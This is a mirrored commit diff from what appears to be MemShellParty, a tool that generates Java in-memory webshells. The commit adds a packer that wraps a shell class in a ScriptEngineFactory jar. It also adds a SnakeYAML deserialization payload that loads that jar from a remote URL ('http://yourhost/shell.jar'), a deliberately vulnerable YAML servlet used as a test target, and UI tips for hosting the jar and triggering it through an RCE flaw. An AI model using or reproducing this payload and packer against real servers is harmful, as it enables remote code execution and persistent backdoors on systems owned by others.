mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
feat: support scriptEngineJar packer
This commit is contained in:
+5
-5
@@ -8,8 +8,8 @@ import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||
import com.reajason.javaweb.packer.AggregatePacker;
|
||||
import com.reajason.javaweb.packer.JarPacker;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import com.reajason.javaweb.packer.jar.JarPacker;
|
||||
import org.springframework.web.bind.annotation.*;
|
||||
|
||||
import java.util.Base64;
|
||||
@@ -29,12 +29,12 @@ public class MemShellGeneratorController {
|
||||
InjectorConfig injectorConfig = request.getInjectorConfig();
|
||||
MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
|
||||
Packer packer = request.getPacker().getInstance();
|
||||
if (packer instanceof AggregatePacker) {
|
||||
return new MemShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig()));
|
||||
}
|
||||
if (packer instanceof JarPacker) {
|
||||
return new MemShellGenerateResponse(generateResult, Base64.getEncoder().encodeToString(((JarPacker) packer).packBytes(generateResult.toJarPackerConfig())));
|
||||
} else if (packer instanceof AggregatePacker) {
|
||||
return new MemShellGenerateResponse(generateResult, ((AggregatePacker) packer).packAll(generateResult.toClassPackerConfig()));
|
||||
} else {
|
||||
}
|
||||
return new MemShellGenerateResponse(generateResult, packer.pack(generateResult.toClassPackerConfig()));
|
||||
}
|
||||
}
|
||||
}
|
||||
+32
-7
@@ -8,11 +8,12 @@ import com.reajason.javaweb.memshell.MemShellGenerator;
|
||||
import com.reajason.javaweb.memshell.MemShellResult;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.memshell.config.*;
|
||||
import com.reajason.javaweb.packer.JarPacker;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import com.reajason.javaweb.packer.jar.AgentJarPacker;
|
||||
import com.reajason.javaweb.packer.jar.AgentJarWithJDKAttacherPacker;
|
||||
import com.reajason.javaweb.packer.jar.AgentJarWithJREAttacherPacker;
|
||||
import com.reajason.javaweb.packer.jar.JarPacker;
|
||||
import com.reajason.javaweb.packer.jar.ScriptEngineJarPacker;
|
||||
import com.reajason.javaweb.suo5.Suo5Manager;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
@@ -21,12 +22,12 @@ import okhttp3.HttpUrl;
|
||||
import okhttp3.OkHttpClient;
|
||||
import okhttp3.Request;
|
||||
import okhttp3.Response;
|
||||
import org.testcontainers.containers.Container;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.apache.commons.io.FileUtils;
|
||||
import org.apache.commons.lang3.RandomStringUtils;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
import org.testcontainers.containers.Container;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.utility.MountableFile;
|
||||
|
||||
import java.io.IOException;
|
||||
@@ -107,6 +108,32 @@ public class ShellAssertion {
|
||||
@SneakyThrows
|
||||
public static void packerResultAndInject(MemShellResult generateResult, String url, String shellTool, String shellType, Packers packer, GenericContainer<?> appContainer) {
|
||||
String content = null;
|
||||
if (packer.getInstance() instanceof AgentJarPacker ||
|
||||
packer.getInstance() instanceof AgentJarWithJREAttacherPacker ||
|
||||
packer.getInstance() instanceof AgentJarWithJDKAttacherPacker) {
|
||||
injectAgentJar(generateResult, shellTool, shellType, packer, appContainer);
|
||||
return;
|
||||
}
|
||||
if (packer.getInstance() instanceof ScriptEngineJarPacker) {
|
||||
byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult.toJarPackerConfig());
|
||||
Path tempJar = Files.createTempFile("temp", "jar");
|
||||
Files.write(tempJar, bytes);
|
||||
String jarPath = "/" + shellTool + shellType + packer.name() + ".jar";
|
||||
appContainer.copyFileToContainer(MountableFile.forHostPath(tempJar, 0100666), jarPath);
|
||||
FileUtils.deleteQuietly(tempJar.toFile());
|
||||
content = "!!javax.script.ScriptEngineManager [\n" +
|
||||
" !!java.net.URLClassLoader [[\n" +
|
||||
" !!java.net.URL [\"file://" + jarPath + "\"]\n" +
|
||||
" ]]\n" +
|
||||
"]";
|
||||
} else {
|
||||
content = packer.getInstance().pack(generateResult.toClassPackerConfig());
|
||||
}
|
||||
injectIsOk(url, shellType, shellTool, content, packer, appContainer);
|
||||
log.info("send inject payload successfully");
|
||||
}
|
||||
|
||||
private static void injectAgentJar(MemShellResult generateResult, String shellTool, String shellType, Packers packer, GenericContainer<?> appContainer) throws IOException, InterruptedException {
|
||||
if (packer.getInstance() instanceof AgentJarPacker) {
|
||||
byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult.toJarPackerConfig());
|
||||
Path tempJar = Files.createTempFile("temp", "jar");
|
||||
@@ -143,13 +170,10 @@ public class ShellAssertion {
|
||||
assertThat(stdout, anyOf(
|
||||
containsString("ok")
|
||||
));
|
||||
} else {
|
||||
content = packer.getInstance().pack(generateResult.toClassPackerConfig());
|
||||
injectIsOk(url, shellType, shellTool, content, packer, appContainer);
|
||||
log.info("send inject payload successfully");
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@SneakyThrows
|
||||
public static void assertShellIsOk(MemShellResult generateResult, String shellUrl, String shellTool, String shellType, GenericContainer<?> appContainer, GenericContainer<?> pythonContainer) {
|
||||
switch (shellTool) {
|
||||
@@ -365,6 +389,7 @@ public class ShellAssertion {
|
||||
case JavaCommonsCollections4 -> VulTool.postIsOk(url + "/java_deserialize/cc40", content);
|
||||
case HessianDeserialize -> VulTool.postIsOk(url + "/hessian", content);
|
||||
case Hessian2Deserialize -> VulTool.postIsOk(url + "/hessian2", content);
|
||||
case ScriptEngineJar -> VulTool.postIsOk(url + "/snakeYaml", content);
|
||||
case XMLDecoderScriptEngine, XMLDecoderDefineClass -> VulTool.postIsOk(url + "/xmlDecoder", content);
|
||||
case Base64 -> VulTool.postIsOk(url + "/b64", content);
|
||||
case BigInteger -> VulTool.postIsOk(url + "/biginteger", content);
|
||||
|
||||
+2
-1
@@ -52,7 +52,8 @@ public class Tomcat8DeserializeContainerTest {
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.HessianDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Hessian2Deserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoderScriptEngine),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoderDefineClass)
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoderDefineClass),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.ScriptEngineJar)
|
||||
);
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,47 @@
|
||||
package com.reajason.javaweb.asm;
|
||||
|
||||
import org.objectweb.asm.ClassReader;
|
||||
import org.objectweb.asm.ClassVisitor;
|
||||
import org.objectweb.asm.ClassWriter;
|
||||
import org.objectweb.asm.Opcodes;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/11/16
|
||||
*/
|
||||
public class ClassInterfaceUtils {
|
||||
|
||||
public static byte[] addInterface(byte[] bytes, String interfaceName) {
|
||||
ClassReader cr = new ClassReader(bytes);
|
||||
ClassWriter cw = new ClassWriter(cr, 0);
|
||||
ClassVisitor cv = new AddInterfaceClassAdapter(cw, interfaceName.replace('.', '/'));
|
||||
cr.accept(cv, 0);
|
||||
return cw.toByteArray();
|
||||
}
|
||||
|
||||
|
||||
static class AddInterfaceClassAdapter extends ClassVisitor {
|
||||
|
||||
private final String interfaceToAdd;
|
||||
|
||||
public AddInterfaceClassAdapter(ClassVisitor cv, String interfaceToAdd) {
|
||||
super(Opcodes.ASM9, cv);
|
||||
this.interfaceToAdd = interfaceToAdd;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void visit(int version, int access, String name,
|
||||
String signature, String superName, String[] interfaces) {
|
||||
for (String itf : interfaces) {
|
||||
if (itf.equals(interfaceToAdd)) {
|
||||
super.visit(version, access, name, signature, superName, interfaces);
|
||||
return;
|
||||
}
|
||||
}
|
||||
String[] newInterfaces = new String[interfaces.length + 1];
|
||||
System.arraycopy(interfaces, 0, newInterfaces, 0, interfaces.length);
|
||||
newInterfaces[interfaces.length] = interfaceToAdd;
|
||||
super.visit(version, access, name, signature, superName, newInterfaces);
|
||||
}
|
||||
}
|
||||
}
|
||||
+120
@@ -0,0 +1,120 @@
|
||||
package com.reajason.javaweb.asm;
|
||||
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import org.junit.jupiter.api.Test;
|
||||
import org.objectweb.asm.ClassReader;
|
||||
|
||||
import javax.script.ScriptEngine;
|
||||
import javax.script.ScriptEngineFactory;
|
||||
import java.io.Serializable;
|
||||
import java.util.Collections;
|
||||
import java.util.List;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/11/16
|
||||
*/
|
||||
class ClassInterfaceUtilsTest {
|
||||
|
||||
@Test
|
||||
void test() {
|
||||
String interfaceName = "javax.script.ScriptEngineFactory";
|
||||
byte[] bytes = new ByteBuddy().redefine(EmptyInterface.class).make().getBytes();
|
||||
byte[] newBytes = ClassInterfaceUtils.addInterface(bytes, interfaceName);
|
||||
String[] interfaces = new ClassReader(newBytes).getInterfaces();
|
||||
assertEquals(1, interfaces.length);
|
||||
assertEquals(interfaceName.replace(".", "/"), interfaces[0]);
|
||||
}
|
||||
|
||||
@Test
|
||||
void skipAdd(){
|
||||
String interfaceName = "javax.script.ScriptEngineFactory";
|
||||
byte[] bytes = new ByteBuddy().redefine(ScriptEngineFactoryClass.class).make().getBytes();
|
||||
byte[] newBytes = ClassInterfaceUtils.addInterface(bytes, interfaceName);
|
||||
String[] interfaces = new ClassReader(newBytes).getInterfaces();
|
||||
assertEquals(1, interfaces.length);
|
||||
assertEquals(interfaceName.replace(".", "/"), interfaces[0]);
|
||||
}
|
||||
|
||||
@Test
|
||||
void addNewInterface(){
|
||||
String interfaceName = "javax.script.ScriptEngineFactory";
|
||||
byte[] bytes = new ByteBuddy().redefine(Entity.class).make().getBytes();
|
||||
byte[] newBytes = ClassInterfaceUtils.addInterface(bytes, interfaceName);
|
||||
String[] interfaces = new ClassReader(newBytes).getInterfaces();
|
||||
assertEquals(2, interfaces.length);
|
||||
assertEquals("java/io/Serializable", interfaces[0]);
|
||||
assertEquals(interfaceName.replace(".", "/"), interfaces[1]);
|
||||
}
|
||||
|
||||
static class EmptyInterface {
|
||||
}
|
||||
|
||||
static class ScriptEngineFactoryClass implements ScriptEngineFactory {
|
||||
@Override
|
||||
public String getEngineName() {
|
||||
return "";
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getEngineVersion() {
|
||||
return "";
|
||||
}
|
||||
|
||||
@Override
|
||||
public List<String> getExtensions() {
|
||||
return Collections.emptyList();
|
||||
}
|
||||
|
||||
@Override
|
||||
public List<String> getMimeTypes() {
|
||||
return Collections.emptyList();
|
||||
}
|
||||
|
||||
@Override
|
||||
public List<String> getNames() {
|
||||
return Collections.emptyList();
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getLanguageName() {
|
||||
return "";
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getLanguageVersion() {
|
||||
return "";
|
||||
}
|
||||
|
||||
@Override
|
||||
public Object getParameter(String key) {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getMethodCallSyntax(String obj, String m, String... args) {
|
||||
return "";
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getOutputStatement(String toDisplay) {
|
||||
return "";
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getProgram(String... statements) {
|
||||
return "";
|
||||
}
|
||||
|
||||
@Override
|
||||
public ScriptEngine getScriptEngine() {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
static class Entity implements Serializable {
|
||||
|
||||
}
|
||||
}
|
||||
+1
-4
@@ -1,7 +1,4 @@
|
||||
package com.reajason.javaweb.packer.jar;
|
||||
|
||||
import com.reajason.javaweb.packer.JarPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
package com.reajason.javaweb.packer;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
@@ -19,10 +19,7 @@ import com.reajason.javaweb.packer.groovy.GroovyScriptEnginePacker;
|
||||
import com.reajason.javaweb.packer.h2.H2JSPacker;
|
||||
import com.reajason.javaweb.packer.h2.H2JavacPacker;
|
||||
import com.reajason.javaweb.packer.h2.H2Packer;
|
||||
import com.reajason.javaweb.packer.jar.AgentJarPacker;
|
||||
import com.reajason.javaweb.packer.jar.AgentJarWithJDKAttacherPacker;
|
||||
import com.reajason.javaweb.packer.jar.AgentJarWithJREAttacherPacker;
|
||||
import com.reajason.javaweb.packer.jar.DefaultJarPacker;
|
||||
import com.reajason.javaweb.packer.jar.*;
|
||||
import com.reajason.javaweb.packer.jexl.JEXLPacker;
|
||||
import com.reajason.javaweb.packer.jinjava.JinJavaPacker;
|
||||
import com.reajason.javaweb.packer.jsp.ClassLoaderJspPacker;
|
||||
@@ -72,7 +69,13 @@ public enum Packers {
|
||||
Base64URLEncoded(new Base64URLEncoded(), Base64Packer.class),
|
||||
GzipBase64(new GzipBase64Packer(), Base64Packer.class),
|
||||
|
||||
Jar(new DefaultJarPacker()),
|
||||
/**
|
||||
* JSP 打包器
|
||||
*/
|
||||
JSP(new JspPacker()),
|
||||
ClassLoaderJSP(new ClassLoaderJspPacker(), JspPacker.class),
|
||||
DefineClassJSP(new DefineClassJspPacker(), JspPacker.class),
|
||||
JSPX(new JspxPacker(), JspPacker.class),
|
||||
|
||||
/**
|
||||
* BigInteger
|
||||
@@ -84,14 +87,6 @@ public enum Packers {
|
||||
*/
|
||||
BCEL(new BCELPacker()),
|
||||
|
||||
/**
|
||||
* JSP 打包器
|
||||
*/
|
||||
JSP(new JspPacker()),
|
||||
ClassLoaderJSP(new ClassLoaderJspPacker(), JspPacker.class),
|
||||
DefineClassJSP(new DefineClassJspPacker(), JspPacker.class),
|
||||
JSPX(new JspxPacker(), JspPacker.class),
|
||||
|
||||
/**
|
||||
* 脚本引擎打包器
|
||||
*/
|
||||
@@ -168,6 +163,9 @@ public enum Packers {
|
||||
H2Javac(new H2JavacPacker(), H2Packer.class),
|
||||
H2JS(new H2JSPacker(), H2Packer.class),
|
||||
|
||||
Jar(new DefaultJarPacker()),
|
||||
ScriptEngineJar(new ScriptEngineJarPacker()),
|
||||
|
||||
XxlJob(new XxlJobPacker()),
|
||||
;
|
||||
private final Packer instance;
|
||||
|
||||
@@ -2,6 +2,7 @@ package com.reajason.javaweb.packer.jar;
|
||||
|
||||
import com.reajason.javaweb.ClassBytesShrink;
|
||||
import com.reajason.javaweb.asm.ClassRenameUtils;
|
||||
import com.reajason.javaweb.packer.JarPacker;
|
||||
import com.reajason.javaweb.packer.JarPackerConfig;
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.commons.io.IOUtils;
|
||||
|
||||
+1
@@ -2,6 +2,7 @@ package com.reajason.javaweb.packer.jar;
|
||||
|
||||
import com.reajason.javaweb.ClassBytesShrink;
|
||||
import com.reajason.javaweb.asm.ClassRenameUtils;
|
||||
import com.reajason.javaweb.packer.JarPacker;
|
||||
import com.reajason.javaweb.packer.JarPackerConfig;
|
||||
import com.reajason.javaweb.packer.jar.attach.Attacher;
|
||||
import com.reajason.javaweb.packer.jar.attach.VirtualMachine;
|
||||
|
||||
+1
@@ -2,6 +2,7 @@ package com.reajason.javaweb.packer.jar;
|
||||
|
||||
import com.reajason.javaweb.ClassBytesShrink;
|
||||
import com.reajason.javaweb.asm.ClassRenameUtils;
|
||||
import com.reajason.javaweb.packer.JarPacker;
|
||||
import com.reajason.javaweb.packer.JarPackerConfig;
|
||||
import com.reajason.javaweb.packer.jar.attach.Attacher;
|
||||
import com.reajason.javaweb.packer.jar.attach.VirtualMachine;
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
package com.reajason.javaweb.packer.jar;
|
||||
|
||||
import com.reajason.javaweb.packer.JarPacker;
|
||||
import com.reajason.javaweb.packer.JarPackerConfig;
|
||||
import lombok.SneakyThrows;
|
||||
|
||||
|
||||
@@ -0,0 +1,38 @@
|
||||
package com.reajason.javaweb.packer.jar;
|
||||
|
||||
import com.reajason.javaweb.asm.ClassInterfaceUtils;
|
||||
import com.reajason.javaweb.packer.JarPacker;
|
||||
import com.reajason.javaweb.packer.JarPackerConfig;
|
||||
import lombok.SneakyThrows;
|
||||
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.nio.charset.StandardCharsets;
|
||||
import java.util.jar.JarEntry;
|
||||
import java.util.jar.JarOutputStream;
|
||||
import java.util.jar.Manifest;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/11/16
|
||||
*/
|
||||
public class ScriptEngineJarPacker implements JarPacker {
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public byte[] packBytes(JarPackerConfig config) {
|
||||
String mainClassName = config.getMainClassName();
|
||||
byte[] mainClassBytes = config.getClassBytes().get(mainClassName);
|
||||
byte[] bytes = ClassInterfaceUtils.addInterface(mainClassBytes, "javax.script.ScriptEngineFactory");
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
try (JarOutputStream targetJar = new JarOutputStream(outputStream, new Manifest())) {
|
||||
targetJar.putNextEntry(new JarEntry(mainClassName.replace('.', '/') + ".class"));
|
||||
targetJar.write(bytes);
|
||||
targetJar.closeEntry();
|
||||
|
||||
targetJar.putNextEntry(new JarEntry("META-INF/services/javax.script.ScriptEngineFactory"));
|
||||
targetJar.write(mainClassName.getBytes(StandardCharsets.UTF_8));
|
||||
targetJar.closeEntry();
|
||||
}
|
||||
return outputStream.toByteArray();
|
||||
}
|
||||
}
|
||||
@@ -28,6 +28,7 @@ val filesToCopy = objects.fileCollection().from(
|
||||
|
||||
dependencies {
|
||||
implementation("com.caucho:hessian:4.0.66")
|
||||
implementation("org.yaml:snakeyaml:1.27")
|
||||
providedCompile("javax.servlet:javax.servlet-api:3.1.0")
|
||||
testImplementation(libs.junit.jupiter)
|
||||
testRuntimeOnly(libs.junit.platform.launcher)
|
||||
|
||||
@@ -0,0 +1,22 @@
|
||||
import org.yaml.snakeyaml.Yaml;
|
||||
|
||||
import javax.servlet.ServletException;
|
||||
import javax.servlet.annotation.WebServlet;
|
||||
import javax.servlet.http.HttpServlet;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.io.IOException;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/11/16
|
||||
*/
|
||||
@WebServlet("/snakeYaml")
|
||||
public class SnakeYamlServlet extends HttpServlet {
|
||||
@Override
|
||||
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
|
||||
String data = req.getParameter("data");
|
||||
Yaml yaml = new Yaml();
|
||||
yaml.load(data);
|
||||
}
|
||||
}
|
||||
Binary file not shown.
@@ -395,7 +395,9 @@ export default function MainConfigCard({
|
||||
onCheckedChange={field.onChange}
|
||||
/>
|
||||
</FormControl>
|
||||
<Label htmlFor="staticInitialize">{t("common:staticInitialize")}</Label>
|
||||
<Label htmlFor="staticInitialize">
|
||||
{t("common:staticInitialize")}
|
||||
</Label>
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
|
||||
@@ -1,16 +1,42 @@
|
||||
import { ScrollTextIcon } from "lucide-react";
|
||||
import { useTranslation } from "react-i18next";
|
||||
import CodeViewer from "@/components/code-viewer";
|
||||
import { Button } from "@/components/ui/button";
|
||||
import { downloadBytes } from "@/lib/utils";
|
||||
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card";
|
||||
import { Separator } from "@/components/ui/separator";
|
||||
import { downloadBytes, formatBytes } from "@/lib/utils";
|
||||
import type { MemShellResult } from "@/types/memshell";
|
||||
|
||||
export function JarResult({
|
||||
packMethod,
|
||||
packResult,
|
||||
generateResult,
|
||||
}: Readonly<{ packResult: string; generateResult?: MemShellResult }>) {
|
||||
}: Readonly<{
|
||||
packMethod: string;
|
||||
packResult: string;
|
||||
generateResult?: MemShellResult;
|
||||
}>) {
|
||||
const { t } = useTranslation();
|
||||
const isPureJar = packMethod === "Jar";
|
||||
return (
|
||||
<div className="flex items-center justify-center">
|
||||
<Card>
|
||||
<CardHeader>
|
||||
<CardTitle className="text-md flex items-center gap-2">
|
||||
<ScrollTextIcon className="h-5" />
|
||||
<span>{t("common:usage")}</span>
|
||||
</CardTitle>
|
||||
</CardHeader>
|
||||
<CardContent>
|
||||
<ol className="list-decimal list-inside space-y-4 text-sm">
|
||||
<li className="flex items-center justify-between">
|
||||
<span>
|
||||
{t("common:download")} shell.jar (
|
||||
{formatBytes(atob(packResult).length)})
|
||||
</span>
|
||||
<Button
|
||||
size="sm"
|
||||
variant="outline"
|
||||
className="w-28"
|
||||
type="button"
|
||||
onClick={() =>
|
||||
downloadBytes(
|
||||
@@ -20,8 +46,34 @@ export function JarResult({
|
||||
)
|
||||
}
|
||||
>
|
||||
{t("common:download")} Jar
|
||||
{t("common:download")}
|
||||
</Button>
|
||||
</div>
|
||||
</li>
|
||||
<Separator />
|
||||
{isPureJar ? (
|
||||
<>
|
||||
<li>{t("memshell:tips.download-jar")}</li>
|
||||
<li>{t("memshell:tips.trigger-injector-class-loading")}</li>
|
||||
</>
|
||||
) : (
|
||||
<>
|
||||
<li>{t("memshell:tips.download-jar")}</li>
|
||||
<li>{t("memshell:tips.load-jar-with-scriptenginemanager")}</li>
|
||||
<CodeViewer
|
||||
code={`!!javax.script.ScriptEngineManager [
|
||||
!!java.net.URLClassLoader [[
|
||||
!!java.net.URL ["http://yourhost/shell.jar"]
|
||||
]]
|
||||
]`}
|
||||
language="java"
|
||||
showLineNumbers={false}
|
||||
wrapLongLines={true}
|
||||
header={<div className="text-xs">SnakeYaml Payload</div>}
|
||||
/>
|
||||
</>
|
||||
)}
|
||||
</ol>
|
||||
</CardContent>
|
||||
</Card>
|
||||
);
|
||||
}
|
||||
|
||||
@@ -18,7 +18,7 @@ export function ResultComponent({
|
||||
}>) {
|
||||
const showCode = packMethod === "JSP";
|
||||
const isAgent = packMethod.startsWith("Agent");
|
||||
const isJar = packMethod === "Jar";
|
||||
const isJar = packMethod.endsWith("Jar");
|
||||
const { t } = useTranslation();
|
||||
if (allPackResults) {
|
||||
return (
|
||||
@@ -29,7 +29,6 @@ export function ResultComponent({
|
||||
/>
|
||||
);
|
||||
}
|
||||
|
||||
if (isAgent) {
|
||||
return (
|
||||
<AgentResult
|
||||
@@ -42,12 +41,13 @@ export function ResultComponent({
|
||||
if (isJar) {
|
||||
return (
|
||||
<JarResult
|
||||
packMethod={packMethod}
|
||||
packResult={packResult ?? ""}
|
||||
generateResult={generateResult}
|
||||
/>
|
||||
);
|
||||
}
|
||||
if (!isAgent && !isJar) {
|
||||
|
||||
return (
|
||||
<CodeViewer
|
||||
code={packResult ?? ""}
|
||||
@@ -56,9 +56,7 @@ export function ResultComponent({
|
||||
<span>
|
||||
{t("common:packerMethod")}:{packMethod}
|
||||
</span>
|
||||
<span className="text-muted-foreground">
|
||||
({packResult?.length})
|
||||
</span>
|
||||
<span className="text-muted-foreground">({packResult?.length})</span>
|
||||
</div>
|
||||
}
|
||||
wrapLongLines={!showCode}
|
||||
@@ -67,6 +65,4 @@ export function ResultComponent({
|
||||
height={350}
|
||||
/>
|
||||
);
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
@@ -18,8 +18,7 @@ export function OptionalClassFormField({
|
||||
const initialShellClassName = form.getValues("shellClassName") ?? "";
|
||||
const initialInjectorClassName = form.getValues("injectorClassName") ?? "";
|
||||
const [useRandomClassName, setUseRandomClassName] = useState(
|
||||
() =>
|
||||
!(initialShellClassName?.trim() || initialInjectorClassName?.trim()),
|
||||
() => !(initialShellClassName?.trim() || initialInjectorClassName?.trim()),
|
||||
);
|
||||
const [savedShellClassName, setSavedShellClassName] = useState(
|
||||
initialShellClassName,
|
||||
|
||||
@@ -209,7 +209,9 @@ export default function MainConfigCard({ form, servers }: MainConfigCardProps) {
|
||||
const renderDynamicFields = useCallback(() => {
|
||||
const isBodyMethod = watchedProbeMethod === "ResponseBody";
|
||||
const needParam =
|
||||
watchedProbeContent === "Command" || watchedProbeContent === "Bytecode" || watchedProbeContent === "ScriptEngine";
|
||||
watchedProbeContent === "Command" ||
|
||||
watchedProbeContent === "Bytecode" ||
|
||||
watchedProbeContent === "ScriptEngine";
|
||||
const isSleepMethod = watchedProbeMethod === "Sleep";
|
||||
const isServerContent = watchedProbeContent === "Server";
|
||||
|
||||
|
||||
@@ -54,5 +54,8 @@
|
||||
"tips.specificUrlPattern": "URL Pattern must be specified, e.g., /hello",
|
||||
"tips.targetServerNotFound": "Target server not found?",
|
||||
"tips.targetServerRequest": "Request",
|
||||
"tips.try-to-use-shell": "Try to use the memory shell"
|
||||
"tips.try-to-use-shell": "Try to use the memory shell",
|
||||
"tips.download-jar": "Download the jar file and upload it to the public network server, so that it can be accessed through the http link to download",
|
||||
"tips.load-jar-with-scriptenginemanager": "Load the jar file with javax.script.ScriptEngineManager to implement injection",
|
||||
"tips.trigger-injector-class-loading": "Trigger the injector class loading with RCE vulnerability"
|
||||
}
|
||||
|
||||
@@ -55,7 +55,7 @@
|
||||
"tips.targetServerNotFound": "找不到目标服务?",
|
||||
"tips.targetServerRequest": "请求适配",
|
||||
"tips.try-to-use-shell": "尝试利用内存马",
|
||||
"shellNotWork": {
|
||||
"title": "利用失败?"
|
||||
}
|
||||
"tips.download-jar": "下载 jar 包并上传至公网服务器,使其能通过 http 链接访问下载",
|
||||
"tips.load-jar-with-scriptenginemanager": "通过 RCE 漏洞使用 javax.script.ScriptEngineManager 加载 jar 包实现注入",
|
||||
"tips.trigger-injector-class-loading": "通过 RCE 漏洞触发注入器类加载"
|
||||
}
|
||||
|
||||
@@ -56,7 +56,7 @@ export default function ProbeShellGenerator() {
|
||||
seconds: 5,
|
||||
sleepServer: "Tomcat",
|
||||
shrink: true,
|
||||
staticInitialize: true
|
||||
staticInitialize: true,
|
||||
},
|
||||
});
|
||||
|
||||
|
||||
@@ -152,7 +152,7 @@ export const probeShellFormSchema = yup.object().shape({
|
||||
debug: yup.boolean().optional(),
|
||||
byPassJavaModule: yup.boolean().optional(),
|
||||
shrink: yup.boolean().optional(),
|
||||
staticInitialize: yup.boolean().optional()
|
||||
staticInitialize: yup.boolean().optional(),
|
||||
});
|
||||
|
||||
type ProbeValidationResult = ResolverResult<ProbeShellFormSchema>;
|
||||
|
||||
@@ -37,7 +37,7 @@ export function transformToPostData(formValue: MemShellFormSchema) {
|
||||
const injectorConfig: InjectorConfig = {
|
||||
urlPattern: formValue.urlPattern,
|
||||
injectorClassName: formValue.injectorClassName,
|
||||
staticInitialize: formValue.staticInitialize
|
||||
staticInitialize: formValue.staticInitialize,
|
||||
};
|
||||
return {
|
||||
shellConfig,
|
||||
@@ -55,7 +55,7 @@ export function transformToProbePostData(formValue: ProbeShellFormSchema) {
|
||||
shrink: formValue.shrink,
|
||||
debug: formValue.debug,
|
||||
byPassJavaModule: formValue.byPassJavaModule,
|
||||
staticInitialize: formValue.staticInitialize
|
||||
staticInitialize: formValue.staticInitialize,
|
||||
};
|
||||
const probeContentConfig: ProbeContentConfig = {
|
||||
host: formValue.host,
|
||||
|
||||
Reference in New Issue
Block a user